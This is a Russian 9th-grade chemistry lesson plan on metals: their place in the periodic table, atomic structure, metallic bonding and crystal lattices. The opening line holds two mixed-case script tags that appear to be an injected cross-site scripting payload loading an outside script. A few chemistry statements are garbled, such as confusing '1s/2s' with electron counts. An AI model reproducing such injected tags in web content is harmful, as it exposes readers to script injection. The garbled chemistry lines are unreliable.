<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>
Предмет: химия
Дата проведения: ____________ Класс: 9
Тема урока: положение металлов в периодической системе химических элементов (особенности строения их атомов и кристаллов, металлическая связь, металлическая кристаллическая решетка, сравнительная характеристика строения атомов металлов I-III периодов).
Тип урока: урок изучения нового материала
Вид урока: урок-беседа
Цели урока:
обучить: начать формирование знаний, умений и навыков по положению металлов в периодической системе химических элементов; закрепить знания, умения и навыки по определениям особенностей строения атомов металлов и их кристаллов; организовать повторение изученного материала о металлах и их соединениях; обеспечить закрепление и углубление знаний, полученных в теоретическом
обучении;
развить: развивать умения умственной деятельности (умение сравнивать, выделять главное, анализировать; аргументировать, делать выводы, нестандартно мыслить ); развивать индивидуальные способности учащихся; обеспечить мотивационную готовность учащихся к работе на уроке; развивать интеллектуальные способности учащихся.
воспитать: воспитывать у учащихся веру в свои силы, стремление к самостоятельной деятельности; способствовать воспитанию у учащихся стремления к саморазвитию, самообучению; прививать учащимся интерес к изучению темы, предмета; способствовать развитию умения и желания учиться, приобретать необходимые умения и навыки учебной деятельности.
Методы обучения:
1.Методы организации научно-познавательной деятельности:
- Словесные: рассказ, лекция, беседа и т.д.
- Наглядные: демонстрация, иллюстрация.
- Практические упражнения: лабораторные опыты, трудовые действия.
- Проблемно-поисковые.
- Репродуктивные.
- Методы самостоятельной учебной работы школьников.
2.Методы стимулирования учебно-познавательной деятельности:
- Методы познавательной игры.
- Учебных дискуссий.
- Создания ситуаций успеха в учёбе.
- Предъявление учебных требований.
- Методы контроля за эффективностью учебно-познавательной деятельности:
- Методы устного, письменного, лабораторного контроля.
- Индивидуального, фронтального, тематического контроля. Поурочного контроля.
Формы организации познавательной деятельности учащихся: фронтальная, групповая, ролевая игра, индивидуальная, парная.
Дидактический материал: раздаточный материал, видеотека, игротека, таблицы, тесты, карточки
Этап урока
1.Организационный момент
Приветствие. Подготовка учащихся к восприятию новых знаний, сообщение темы и целей урока. 2-3 мин.
2.Повторение пройденного материала. Краткое повторение пройденного материала, а именно раздела «Неметаллы и их важнейшие соединения» методом фронтального опроса. Сера, азот, фосфор, углерод, кремний – основные неметаллы, изученные в прошлой четверти.
5 мин
3.Изложение нового материала по плану.
Во второй четверти, ребята, мы с вами познакомились с неметаллами и их важнейшими соединениями. Теперь мы перейдем к изучению свойств металлов и их важнейших соединений.
Металлами называются и химические элементы, и простые вещества. Металлы отличаются от неметаллов не только внешними признаками простых веществ (металлический блеск, ковкость, тепло- и электропроводность), но и строением отдельных атомов и кристаллов, свойствами характерных соединений. Рассмотрим их важнейшие характеристики.
Среди химических элементов большую часть составляют металлы. Из 110 известных элементов 89-металлы.
Металлы есть в каждой группе химических элементов.
Сравнительная характеристика металлов металлов I-III групп.
Элементы основной подгруппы металлов I-III групп относятся к s- и p-элементам. На их наружном энергетическом уровне находятся 1s или 2s-электрона (I-II группы) или 1p электрон (III группа). При химическом взаимодействии эти металлы легко отдают электроны и показывают постоянные степени окисления +1,+2,+3, соответствующие номерам групп. S-элементы- типичные представители металлов. В ПС каждый период, кроме 1-го, начинается с таких металлов. У p-элементов металлические свойства выражены значительно слабее. В группе у элементов в связи с увеличением заряда ядра и уменьшением энергии ионизации металлические свойства увеличиваются.
Металлы стоят в начале и середине периодов, поэтому размеры их атомов сравнительно большие. Эти признаки строения атомов определяют принадлежность элементов к металлам.
Металлы малых периодов имеют малое количество электронов (1-3) на наружном энергетическом уровне; размеры атомов
металлов больше, чем у неметаллов.
Обобществленные электроны, свободно движущиеся в пространстве между атомами и ионами, называется электронным
газом. См.рис.31.
Простые вещества-металлы - состоят из атомов или ионов одного химического элемента, которые связаны металлической
химической связью. Металлической связью называется химическая связь, возникающая в металлической кристаллической решетке между атомами и положительными ионами и электронным газом, состоящим из свободных электронов.
В металлической кристаллической решетке находятся атомы и катионы металлов и свободно перемещающиеся обобществленные электроны (электронный газ).
20 мин
4.Самостоятельное усвоение новых знаний
– работа с учебником: §28 читать, выделить главное, с.136 рис.31 схематично зарисовать.
5.Закрепление нового материала:
– повторение учителем наиболее трудных, важных вопросов;
– повторение учащимися основных положений темы;
– ответы на вопросы;
– выполнение упражнений устных и письменных
С. 136 ответить на вопросы с 1 по 5.
5 мин
6.Подведение итогов урока:
– систематизация и обобщение знаний;
– анализ усвоения учащимися программного материала;
– выставление и корректирование оценок;
– анализ проделанной на уроке работы;
– поведение на уроке.
5 мин
7.Домашнее задание:
– выделение основного в домашнем задании;
– изучение материала по новой теме;
– выполнение упражнений по новой теме.
§29 конспект, с.136 № 8.
2-3 мин
8.Индивидуальные задания учащимся:
– подготовка рефератов различной тематики;
– сбор материала, документации и так далее;
– выполнение наглядности (графической, объемной, натуральной);
Желающим 2-3 учащимся предложить рефераты и доклады на темы «Электронный газ», «Применение металлов и их сплавов в технике».